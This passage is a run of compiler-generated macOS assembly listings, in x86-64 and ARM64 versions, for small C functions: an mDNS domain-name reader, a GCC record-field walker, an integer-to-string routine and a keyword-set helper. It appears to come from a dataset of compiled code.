.p2align 4, 0x90 LBB0_24: ## Parent Loop BB0_5 Depth=1 ## => This Inner Loop Header: Depth=2 movzbl (%r13,%rax,4), %r8d incq %rax movb %r8b, (%rbx,%rsi) incq %rsi decq %rdi jne LBB0_24 LBB0_25: ## in Loop: Header=BB0_5 Depth=1 subq %rcx, %r9 movq %rax, %r14 cmpq $-4, %r9 ja LBB0_30 ## %bb.26: ## in Loop: Header=BB0_5 Depth=1 movq -112(%rbp), %rdi ## 8-byte Reload leaq (%rdi,%rsi), %r9 subq %rsi, %rcx movq -104(%rbp), %rsi ## 8-byte Reload leaq (%rsi,%rax,4), %rdi xorl %esi, %esi .p2align 4, 0x90 LBB0_27: ## Parent Loop BB0_5 Depth=1 ## => This Inner Loop Header: Depth=2 movzbl -12(%rdi,%rsi,4), %r8d movb %r8b, -3(%r9,%rsi) movzbl -8(%rdi,%rsi,4), %r8d movb %r8b, -2(%r9,%rsi) movzbl -4(%rdi,%rsi,4), %r8d movb %r8b, -1(%r9,%rsi) movzbl (%rdi,%rsi,4), %r8d movb %r8b, (%r9,%rsi) addq $4, %rsi cmpq %rsi, %rcx jne LBB0_27 ## %bb.28: ## in Loop: Header=BB0_5 Depth=1 addq %rsi, %rax LBB0_29: ## in Loop: Header=BB0_5 Depth=1 movq %rax, %r14 LBB0_30: ## in Loop: Header=BB0_5 Depth=1 movslq %r15d, %rax movb $0, (%rbx,%rax) cmpl $1, (%rdx) je LBB0_2 ## %bb.31: ## in Loop: Header=BB0_5 Depth=1 cmpb $95, (%rbx) je LBB0_35 ## %bb.32: ## in Loop: Header=BB0_5 Depth=1 movq _MDNS_DEFAULT_DOMAIN@GOTPCREL(%rip), %rax movq (%rax), %rsi movq %rbx, %rdi callq _strcasecmp testq %rax, %rax je LBB0_35 ## %bb.33: ## in Loop: Header=BB0_5 Depth=1 movq %rbx, %rdi leaq L_.str(%rip), %rsi callq _strcasecmp testq %rax, %rax je LBB0_35 ## %bb.34: ## in Loop: Header=BB0_5 Depth=1 movq %rbx, %rdi leaq L_.str.1(%rip), %rsi callq _strcasecmp movq -88(%rbp), %rdx ## 8-byte Reload testq %rax, %rax jne LBB0_2 .p2align 4, 0x90 LBB0_35: ## in Loop: Header=BB0_5 Depth=1 movq _MDNS_SUB_STR@GOTPCREL(%rip), %rax movq (%rax), %rsi movq %rbx, %rdi callq _strcasecmp testq %rax, %rax je LBB0_38 ## %bb.36: ## in Loop: Header=BB0_5 Depth=1 movq -88(%rbp), %rdx ## 8-byte Reload cmpl $0, 4(%rdx) movd LCPI0_1(%rip), %xmm2 ## xmm2 = [0,4,8,12,0,0,0,0,0,0,0,0,0,0,0,0] jne LBB0_4 ## %bb.37: ## in Loop: Header=BB0_5 Depth=1 movq 8(%rdx), %rax movq %rax, -80(%rbp) movdqu 24(%rdx), %xmm0 movdqu %xmm0, -72(%rbp) movq 40(%rdx), %rax movq %rax, -56(%rbp) movslq (%rdx), %rax leal 1(%rax), %ecx movl %ecx, (%rdx) movq -80(%rbp,%rax,8), %rdi incl %r15d movq %rbx, %rsi movl %r15d, %edx callq _memcpy movd LCPI0_1(%rip), %xmm2 ## xmm2 = [0,4,8,12,0,0,0,0,0,0,0,0,0,0,0,0] movq -88(%rbp), %rdx ## 8-byte Reload jmp LBB0_4 LBB0_38: ## in Loop: Header=BB0_5 Depth=1 movq -88(%rbp), %rdx ## 8-byte Reload movl $1, 16(%rdx) jmp LBB0_3 LBB0_15: ## in Loop: Header=BB0_5 Depth=1 movl %ecx, %r9d andl $2147483640, %r9d ## imm = 0x7FFFFFF8 movdqu -4(%r13,%r14,4), %xmm0 movdqu 12(%r13,%r14,4), %xmm1 pshufb %xmm2, %xmm0 pshufb %xmm2, %xmm1 movd %xmm0, (%rbx) movd %xmm1, 4(%rbx) cmpq $8, %r9 je LBB0_22 ## %bb.16: ## in Loop: Header=BB0_5 Depth=1 movdqu 28(%r13,%r14,4), %xmm0 movdqu 44(%r13,%r14,4), %xmm1 pshufb %xmm2, %xmm0 pshufb %xmm2, %xmm1 movd %xmm0, 8(%rbx) movd %xmm1, 12(%rbx) cmpl $16, %r9d je LBB0_22 ## %bb.17: ## in Loop: Header=BB0_5 Depth=1 movdqu 60(%r13,%r14,4), %xmm0 movdqu 76(%r13,%r14,4), %xmm1 pshufb %xmm2, %xmm0 pshufb %xmm2, %xmm1 movd %xmm0, 16(%rbx) movd %xmm1, 20(%rbx) cmpl $24, %r9d je LBB0_22 ## %bb.18: ## in Loop: Header=BB0_5 Depth=1 movdqu 92(%r13,%r14,4), %xmm0 movdqu 108(%r13,%r14,4), %xmm1 pshufb %xmm2, %xmm0 pshufb %xmm2, %xmm1 movd %xmm0, 24(%rbx) movd %xmm1, 28(%rbx) cmpl $32, %r9d je LBB0_22 ## %bb.19: ## in Loop: Header=BB0_5 Depth=1 movdqu 124(%r13,%r14,4), %xmm0 movdqu 140(%r13,%r14,4), %xmm1 pshufb %xmm2, %xmm0 pshufb %xmm2, %xmm1 movd %xmm0, 32(%rbx) movd %xmm1, 36(%rbx) cmpl $40, %r9d je LBB0_22 ## %bb.20: ## in Loop: Header=BB0_5 Depth=1 movdqu 156(%r13,%r14,4), %xmm0 movdqu 172(%r13,%r14,4), %xmm1 pshufb %xmm2, %xmm0 pshufb %xmm2, %xmm1 movd %xmm0, 40(%rbx) movd %xmm1, 44(%rbx) cmpl $48, %r9d je LBB0_22 ## %bb.21: ## in Loop: Header=BB0_5 Depth=1 movdqu 188(%r13,%r14,4), %xmm0 movdqu 204(%r13,%r14,4), %xmm1 pshufb %xmm2, %xmm0 pshufb %xmm2, %xmm1 movd %xmm0, 48(%rbx) movd %xmm1, 52(%rbx) LBB0_22: ## in Loop: Header=BB0_5 Depth=1 addq %r9, %rax movq %rax, %r14 cmpl %ecx, %r9d je LBB0_30 jmp LBB0_23 LBB0_39: movq %r13, %r12 LBB0_43: addq $4, %r12 jmp LBB0_44 LBB0_40: andl $63, %r15d shll $8, %r15d movslq -4(%r13,%r14,4), %rax orq %r15, %rax leaq (,%rax,4), %rcx movq -96(%rbp), %rdi ## 8-byte Reload movq %rdi, %rsi subq %rcx, %rsi cmpq %r13, %rsi jae LBB0_42 ## %bb.41: leaq (%rdi,%rax,4), %rsi movq %rbx, %rcx callq __mdns_read_fqdn testq %rax, %rax cmoveq %rax, %r12 jmp LBB0_44 LBB0_42: xorl %r12d, %r12d LBB0_44: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -48(%rbp), %rax jne LBB0_46 ## %bb.45: movq %r12, %rax addq $88, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_46: callq ___stack_chk_fail .cfi_endproc ## -- End function .comm _MDNS_DEFAULT_DOMAIN,8,3 ## @MDNS_DEFAULT_DOMAIN .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "ip6" L_.str.1: ## @.str.1 .asciz "in-addr" L_.str.2: ## @.str.2 .asciz "." .comm _MDNS_SUB_STR,8,3 ## @MDNS_SUB_STR .no_dead_strip __mdns_read_fqdn .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function _mdns_read_fqdn __mdns_read_fqdn: ; @_mdns_read_fqdn .cfi_startproc ; %bb.0: sub sp, sp, #144 stp x28, x27, [sp, #48] ; 16-byte Folded Spill stp x26, x25, [sp, #64] ; 16-byte Folded Spill stp x24, x23, [sp, #80] ; 16-byte Folded Spill stp x22, x21, [sp, #96] ; 16-byte Folded Spill stp x20, x19, [sp, #112] ; 16-byte Folded Spill stp x29, x30, [sp, #128] ; 16-byte Folded Spill add x29, sp, #128 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x22, x1 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] str x8, [sp, #40] ldr w24, [x1] cbz w24, LBB0_29 ; %bb.1: mov x19, x3 mov x20, x2 str x0, [sp] ; 8-byte Folded Spill mov x25, #0 ; =0x0 sub x26, x22, #4 mov w27, #1 ; =0x1 Lloh3: adrp x23, l_.str.2@PAGE Lloh4: add x23, x23, l_.str.2@PAGEOFF Lloh5: adrp x28, _MDNS_SUB_STR@GOTPAGE Lloh6: ldr x28, [x28, _MDNS_SUB_STR@GOTPAGEOFF] mov x21, x22 b LBB0_4 LBB0_2: ; in Loop: Header=BB0_4 Depth=1 ldr x0, [x20, #8] mov x1, x23 mov w2, #8 ; =0x8 bl _strlcat ldr x0, [x20, #8] mov x1, x19 mov w2, #8 ; =0x8 bl _strlcat LBB0_3: ; in Loop: Header=BB0_4 Depth=1 add x21, x22, x25, lsl #2 ldr w24, [x21] cbz w24, LBB0_33 LBB0_4: ; =>This Loop Header: Depth=1 ; Child Loop BB0_14 Depth 2 ldr w8, [x20] cmp w8, #4 b.ne LBB0_6 ; %bb.5: ; in Loop: Header=BB0_4 Depth=1 str w27, [x20, #4] ldr w24, [x21] LBB0_6: ; in Loop: Header=BB0_4 Depth=1 sub x8, x25, #1 cmp w24, #191 b.gt LBB0_30 ; %bb.7: ; in Loop: Header=BB0_4 Depth=1 cmp w24, #63 b.gt LBB0_32 ; %bb.8: ; in Loop: Header=BB0_4 Depth=1 cmp w24, #1 b.lt LBB0_15 ; %bb.9: ; in Loop: Header=BB0_4 Depth=1 mov w9, w24 cmp w24, #16 b.lo LBB0_12 ; %bb.10: ; in Loop: Header=BB0_4 Depth=1 add x10, x25, x9 add x10, x26, x10, lsl #2 cmp x10, x19 b.ls LBB0_25 ; %bb.11: ; in Loop: Header=BB0_4 Depth=1 add x10, x26, x25, lsl #2 add x11, x19, x9 cmp x10, x11 b.hs LBB0_25 LBB0_12: ; in Loop: Header=BB0_4 Depth=1 mov x10, #0 ; =0x0 LBB0_13: ; in Loop: Header=BB0_4 Depth=1 add x11, x19, x10 sub x9, x9, x10 LBB0_14: ; Parent Loop BB0_4 Depth=1 ; => This Inner Loop Header: Depth=2 add x25, x8, #1 ldr w8, [x22, x8, lsl #2] strb w8, [x11], #1 mov x8, x25 subs x9, x9, #1 b.ne LBB0_14 b LBB0_16 LBB0_15: ; in Loop: Header=BB0_4 Depth=1 mov x25, x8 LBB0_16: ; in Loop: Header=BB0_4 Depth=1 strb wzr, [x19, w24, sxtw] ldr w8, [x20] cmp w8, #1 b.eq LBB0_2 ; %bb.17: ; in Loop: Header=BB0_4 Depth=1 ldrb w8, [x19] cmp w8, #95 b.eq LBB0_21 ; %bb.18: ; in Loop: Header=BB0_4 Depth=1 Lloh7: adrp x8, _MDNS_DEFAULT_DOMAIN@GOTPAGE Lloh8: ldr x8, [x8, _MDNS_DEFAULT_DOMAIN@GOTPAGEOFF] Lloh9: ldr x1, [x8] mov x0, x19 bl _strcasecmp cbz x0, LBB0_21 ; %bb.19: ; in Loop: Header=BB0_4 Depth=1 mov x0, x19 Lloh10: adrp x1, l_.str@PAGE Lloh11: add x1, x1, l_.str@PAGEOFF bl _strcasecmp cbz x0, LBB0_21 ; %bb.20: ; in Loop: Header=BB0_4 Depth=1 mov x0, x19 Lloh12: adrp x1, l_.str.1@PAGE Lloh13: add x1, x1, l_.str.1@PAGEOFF bl _strcasecmp cbnz x0, LBB0_2 LBB0_21: ; in Loop: Header=BB0_4 Depth=1 ldr x1, [x28] mov x0, x19 bl _strcasecmp cbz x0, LBB0_24 ; %bb.22: ; in Loop: Header=BB0_4 Depth=1 ldr w8, [x20, #4] cbnz w8, LBB0_3 ; %bb.23: ; in Loop: Header=BB0_4 Depth=1 ldr x8, [x20, #8] str x8, [sp, #8] ldur q0, [x20, #24] stur q0, [sp, #16] ldr x8, [x20, #40] str x8, [sp, #32] ldrsw x8, [x20] add w9, w8, #1 str w9, [x20] add x9, sp, #8 ldr x0, [x9, x8, lsl #3] add w2, w24, #1 mov x1, x19 bl _memcpy b LBB0_3 LBB0_24: ; in Loop: Header=BB0_4 Depth=1 str w27, [x20, #16] b LBB0_3 LBB0_25: ; in Loop: Header=BB0_4 Depth=1 and x10, x9, #0x7ffffff0 add x11, x22, x8, lsl #2 ldp q1, q0, [x11] ldp q3, q2, [x11, #32] uzp1.8h v0, v1, v0 xtn.8b v0, v0 uzp1.8h v1, v3, v2 xtn.8b v1, v1 stp d0, d1, [x19] cmp x10, #16 b.eq LBB0_28 ; %bb.26: ; in Loop: Header=BB0_4 Depth=1 ldp q1, q0, [x11, #64] ldp q3, q2, [x11, #96] uzp1.8h v0, v1, v0 xtn.8b v0, v0 uzp1.8h v1, v3, v2 xtn.8b v1, v1 stp d0, d1, [x19, #16] cmp x10, #32 b.eq LBB0_28 ; %bb.27: ; in Loop: Header=BB0_4 Depth=1 ldp q1, q0, [x11, #128] ldp q3, q2, [x11, #160] uzp1.8h v0, v1, v0 xtn.8b v0, v0 uzp1.8h v1, v3, v2 xtn.8b v1, v1 stp d0, d1, [x19, #32] LBB0_28: ; in Loop: Header=BB0_4 Depth=1 add x8, x8, x10 mov x25, x8 cmp x10, x9 b.eq LBB0_16 b LBB0_13 LBB0_29: add x0, x22, #4 b LBB0_34 LBB0_30: ubfiz x9, x24, #8, #6 ldrsw x8, [x22, x8, lsl #2] orr x8, x8, x9 ldr x0, [sp] ; 8-byte Folded Reload sub x9, x0, x8, lsl #2 cmp x9, x22 b.hs LBB0_32 ; %bb.31: add x1, x0, x8, lsl #2 mov x2, x20 mov x3, x19 bl __mdns_read_fqdn cmp x0, #0 csel x0, xzr, x21, eq b LBB0_34 LBB0_32: mov x0, #0 ; =0x0 b LBB0_34 LBB0_33: add x0, x21, #4 LBB0_34: ldr x8, [sp, #40] Lloh14: adrp x9, ___stack_chk_guard@GOTPAGE Lloh15: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh16: ldr x9, [x9] cmp x9, x8 b.ne LBB0_36 ; %bb.35: ldp x29, x30, [sp, #128] ; 16-byte Folded Reload ldp x20, x19, [sp, #112] ; 16-byte Folded Reload ldp x22, x21, [sp, #96] ; 16-byte Folded Reload ldp x24, x23, [sp, #80] ; 16-byte Folded Reload ldp x26, x25, [sp, #64] ; 16-byte Folded Reload ldp x28, x27, [sp, #48] ; 16-byte Folded Reload add sp, sp, #144 ret LBB0_36: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGot Lloh5, Lloh6 .loh AdrpAdd Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh7, Lloh8, Lloh9 .loh AdrpAdd Lloh10, Lloh11 .loh AdrpAdd Lloh12, Lloh13 .loh AdrpLdrGotLdr Lloh14, Lloh15, Lloh16 .cfi_endproc ; -- End function .comm _MDNS_DEFAULT_DOMAIN,8,3 ; @MDNS_DEFAULT_DOMAIN .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "ip6" l_.str.1: ; @.str.1 .asciz "in-addr" l_.str.2: ; @.str.2 .asciz "." .comm _MDNS_SUB_STR,8,3 ; @MDNS_SUB_STR .no_dead_strip __mdns_read_fqdn .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function add_fields_to_record_type _add_fields_to_record_type: ## @add_fields_to_record_type .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %edx, %ebx testq %rdi, %rdi je LBB0_7 ## %bb.1: movq %rsi, %r14 movq %rdi, %r15 movq _FIELD_DECL@GOTPCREL(%rip), %r12 jmp LBB0_2 .p2align 4, 0x90 LBB0_5: ## in Loop: Header=BB0_2 Depth=1 movq (%r14), %rax movslq %ebx, %rcx incl %ebx movq %r15, (%rax,%rcx,8) LBB0_6: ## in Loop: Header=BB0_2 Depth=1 movq %r15, %rdi callq _TREE_CHAIN movq %rax, %r15 testq %rax, %rax je LBB0_7 LBB0_2: ## =>This Inner Loop Header: Depth=1 movq %r15, %rdi callq _TREE_CODE cmpq (%r12), %rax jne LBB0_5 ## %bb.3: ## in Loop: Header=BB0_2 Depth=1 movq %r15, %rdi callq _TREE_TYPE movl %eax, %edi callq _ANON_AGGR_TYPE_P testq %rax, %rax je LBB0_5 ## %bb.4: ## in Loop: Header=BB0_2 Depth=1 movq %r15, %rdi callq _TREE_TYPE movl %eax, %edi callq _TYPE_FIELDS movq %rax, %rdi movq %r14, %rsi movl %ebx, %edx callq _add_fields_to_record_type movl %eax, %ebx jmp LBB0_6 LBB0_7: movl %ebx, %eax popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _FIELD_DECL,8,3 ## @FIELD_DECL .no_dead_strip _add_fields_to_record_type .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function add_fields_to_record_type _add_fields_to_record_type: ; @add_fields_to_record_type .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x2 cbz x0, LBB0_7 ; %bb.1: mov x20, x1 mov x21, x0 Lloh0: adrp x22, _FIELD_DECL@GOTPAGE Lloh1: ldr x22, [x22, _FIELD_DECL@GOTPAGEOFF] b LBB0_4 LBB0_2: ; in Loop: Header=BB0_4 Depth=1 ldr x8, [x20] str x21, [x8, w19, sxtw #3] add w19, w19, #1 LBB0_3: ; in Loop: Header=BB0_4 Depth=1 mov x0, x21 bl _TREE_CHAIN mov x21, x0 cbz x0, LBB0_7 LBB0_4: ; =>This Inner Loop Header: Depth=1 mov x0, x21 bl _TREE_CODE ldr x8, [x22] cmp x0, x8 b.ne LBB0_2 ; %bb.5: ; in Loop: Header=BB0_4 Depth=1 mov x0, x21 bl _TREE_TYPE bl _ANON_AGGR_TYPE_P cbz x0, LBB0_2 ; %bb.6: ; in Loop: Header=BB0_4 Depth=1 mov x0, x21 bl _TREE_TYPE bl _TYPE_FIELDS mov x1, x20 mov x2, x19 bl _add_fields_to_record_type mov x19, x0 b LBB0_3 LBB0_7: mov x0, x19 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _FIELD_DECL,8,3 ; @FIELD_DECL .no_dead_strip _add_fields_to_record_type .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .section __TEXT,__literal16,16byte_literals .p2align 4, 0x0 ## -- Begin function js_itoa LCPI0_0: .byte 15 ## 0xf .byte 14 ## 0xe .byte 13 ## 0xd .byte 12 ## 0xc .byte 11 ## 0xb .byte 10 ## 0xa .byte 9 ## 0x9 .byte 8 ## 0x8 .byte 7 ## 0x7 .byte 6 ## 0x6 .byte 5 ## 0x5 .byte 4 ## 0x4 .byte 3 ## 0x3 .byte 2 ## 0x2 .byte 1 ## 0x1 .byte 0 ## 0x0 .section __TEXT,__text,regular,pure_instructions .globl _js_itoa .p2align 4, 0x90 _js_itoa: ## @js_itoa .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) testl %esi, %esi js LBB0_1 ## %bb.2: movq %rdi, %rax jne LBB0_3 ## %bb.15: movb $48, -48(%rbp) xorl %ecx, %ecx movq %rdi, %rax jmp LBB0_16 LBB0_1: negl %esi leaq 1(%rdi), %rax movb $45, (%rdi) LBB0_3: xorl %ecx, %ecx movl $3435973837, %edx ## imm = 0xCCCCCCCD .p2align 4, 0x90 LBB0_4: ## =>This Inner Loop Header: Depth=1 movl %esi, %r8d imulq %rdx, %r8 shrq $35, %r8 leal (%r8,%r8), %r9d leal (%r9,%r9,4), %r9d movl %esi, %r10d subl %r9d, %r10d orb $-48, %r10b movb %r10b, -48(%rbp,%rcx) incq %rcx cmpl $10, %esi movl %r8d, %esi jae LBB0_4 ## %bb.5: testl %ecx, %ecx jle LBB0_6 LBB0_16: cmpl $1, %ecx movl %ecx, %esi adcl $0, %esi cmpl $32, %ecx jb LBB0_17 ## %bb.7: leaq (%rax,%rsi), %rcx leaq (%rsi,%rbp), %rdx addq $-48, %rdx cmpq %rdx, %rax setb %dl leaq -48(%rbp), %r9 cmpq %rcx, %r9 setb %cl testb %cl, %dl je LBB0_8 LBB0_17: movq %rsi, %rcx movq %rax, %rdx LBB0_11: incq %rcx .p2align 4, 0x90 LBB0_12: ## =>This Inner Loop Header: Depth=1 movzbl -50(%rbp,%rcx), %eax movb %al, (%rdx) incq %rdx decq %rcx cmpq $1, %rcx ja LBB0_12 jmp LBB0_13 LBB0_6: movq %rax, %rdx jmp LBB0_13 LBB0_8: movl %esi, %r8d andl $2147483616, %r8d ## imm = 0x7FFFFFE0 movl %esi, %ecx andl $31, %ecx leaq (%rax,%r8), %rdx addq %rsi, %r9 addq $-16, %r9 xorl %r10d, %r10d movdqa LCPI0_0(%rip), %xmm0 ## xmm0 = [15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0] .p2align 4, 0x90 LBB0_9: ## =>This Inner Loop Header: Depth=1 movdqu -16(%r9), %xmm1 movdqu (%r9), %xmm2 pshufb %xmm0, %xmm2 pshufb %xmm0, %xmm1 movdqu %xmm2, (%rax,%r10) movdqu %xmm1, 16(%rax,%r10) addq $32, %r10 addq $-32, %r9 cmpq %r10, %r8 jne LBB0_9 ## %bb.10: cmpl %esi, %r8d jne LBB0_11 LBB0_13: movb $0, (%rdx) movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -8(%rbp), %rax jne LBB0_18 ## %bb.14: movq %rdi, %rax addq $48, %rsp popq %rbp retq LBB0_18: callq ___stack_chk_fail .cfi_endproc ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _js_itoa ; -- Begin function js_itoa .p2align 2 _js_itoa: ; @js_itoa .cfi_startproc ; %bb.0: sub sp, sp, #64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] stur x8, [x29, #-8] tbnz w1, #31, LBB0_3 ; %bb.1: mov x9, x0 cbnz w1, LBB0_4 ; %bb.2: mov w8, #0 ; =0x0 mov w9, #48 ; =0x30 strb w9, [sp, #8] mov x9, x0 b LBB0_7 LBB0_3: neg w1, w1 mov w8, #45 ; =0x2d mov x9, x0 strb w8, [x9], #1 LBB0_4: mov x8, #0 ; =0x0 mov w10, #52429 ; =0xcccd movk w10, #52428, lsl #16 mov w11, #10 ; =0xa mov w12, #208 ; =0xd0 add x13, sp, #8 LBB0_5: ; =>This Inner Loop Header: Depth=1 umull x14, w1, w10 lsr x14, x14, #35 msub w15, w14, w11, w1 orr w15, w15, w12 strb w15, [x13, x8] add x8, x8, #1 cmp w1, #10 mov x1, x14 b.hs LBB0_5 ; %bb.6: cmp w8, #1 b.lt LBB0_13 LBB0_7: cmp w8, #1 csinc w11, w8, wzr, hi cmp w8, #64 b.lo LBB0_10 ; %bb.8: add x13, sp, #8 add x8, x9, x11 cmp x13, x8 cset w8, lo add x10, x13, x11 cmp x9, x10 b.hs LBB0_14 ; %bb.9: tbz w8, #0, LBB0_14 LBB0_10: mov x10, x11 mov x8, x9 LBB0_11: add x9, sp, #8 sub x9, x9, #1 LBB0_12: ; =>This Inner Loop Header: Depth=1 ldrb w11, [x9, x10] strb w11, [x8], #1 subs x10, x10, #1 b.hi LBB0_12 b LBB0_17 LBB0_13: mov x8, x9 b LBB0_17 LBB0_14: and x12, x11, #0x7fffffc0 and x10, x11, #0x3f add x8, x9, x12 add x9, x9, #32 add x13, x11, x13 sub x13, x13, #32 mov x14, x12 LBB0_15: ; =>This Inner Loop Header: Depth=1 ldp q1, q0, [x13] rev64.16b v0, v0 ext.16b v0, v0, v0, #8 rev64.16b v1, v1 ext.16b v1, v1, v1, #8 ldp q3, q2, [x13, #-32] rev64.16b v2, v2 ext.16b v2, v2, v2, #8 rev64.16b v3, v3 ext.16b v3, v3, v3, #8 stp q0, q1, [x9, #-32] stp q2, q3, [x9], #64 sub x13, x13, #64 sub x14, x14, #64 cbnz x14, LBB0_15 ; %bb.16: cmp x12, x11 b.ne LBB0_11 LBB0_17: strb wzr, [x8] ldur x8, [x29, #-8] Lloh3: adrp x9, ___stack_chk_guard@GOTPAGE Lloh4: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh5: ldr x9, [x9] cmp x9, x8 b.ne LBB0_19 ; %bb.18: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret LBB0_19: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _kwsincr ## -- Begin function kwsincr .p2align 4, 0x90 _kwsincr: ## @kwsincr .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx pushq %rax .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %rbx testq %rdx, %rdx je LBB0_1 ## %bb.2: movq %rdx, %r14 movq %rsi, %r15 jmp LBB0_3 .p2align 4, 0x90 LBB0_5: ## in Loop: Header=BB0_3 Depth=1 decq %r14 je LBB0_6 LBB0_3: ## =>This Inner Loop Header: Depth=1 cmpq $0, (%rbx) je LBB0_5 ## %bb.4: ## in Loop: Header=BB0_3 Depth=1 movsbl -1(%r15,%r14), %edi callq _U jmp LBB0_5 LBB0_6: movl $8, %eax jmp LBB0_7 LBB0_1: leaq 40(%rbx), %rax LBB0_7: movq (%rax), %rax cmpl $0, (%rax) movl 8(%rbx), %ecx jne LBB0_9 ## %bb.8: leal 1(,%rcx,2), %edx movl %edx, (%rax) LBB0_9: incl %ecx movl %ecx, 8(%rbx) movq 8(%rax), %rax cmpq 16(%rbx), %rax jge LBB0_11 ## %bb.10: movq %rax, 16(%rbx) LBB0_11: cmpq 24(%rbx), %rax jle LBB0_13 ## %bb.12: movq %rax, 24(%rbx) LBB0_13: xorl %eax, %eax addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _DEPTH_SIZE,4,2 ## @DEPTH_SIZE .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _kwsincr ; -- Begin function kwsincr .p2align 2 _kwsincr: ; @kwsincr .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x0 cbz x2, LBB0_5 ; %bb.1: mov x20, x2 sub x22, x1, #1 mov w21, #8 ; =0x8 b LBB0_3 LBB0_2: ; in Loop: Header=BB0_3 Depth=1 sub x20, x20, #1 cbz x20, LBB0_6 LBB0_3: ; =>This Inner Loop Header: Depth=1 ldr x8, [x19] cbz x8, LBB0_2 ; %bb.4: ; in Loop: Header=BB0_3 Depth=1 ldrsb w0, [x22, x20] bl _U b LBB0_2 LBB0_5: add x21, x19, #40 LBB0_6: ldr x8, [x21] ldr w10, [x8] ldr w9, [x19, #8] cbnz w10, LBB0_8 ; %bb.7: mov w10, #1 ; =0x1 orr w10, w10, w9, lsl #1 str w10, [x8] LBB0_8: add w9, w9, #1 str w9, [x19, #8] ldr x8, [x8, #8] ldr x9, [x19, #16] cmp x8, x9 b.ge LBB0_10 ; %bb.9: str x8, [x19, #16] LBB0_10: ldr x9, [x19, #24] cmp x8, x9 b.le LBB0_12 ; %bb.11: str x8, [x19, #24] LBB0_12: mov x0, #0 ; =0x0 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .comm _DEPTH_SIZE,4,2 ; 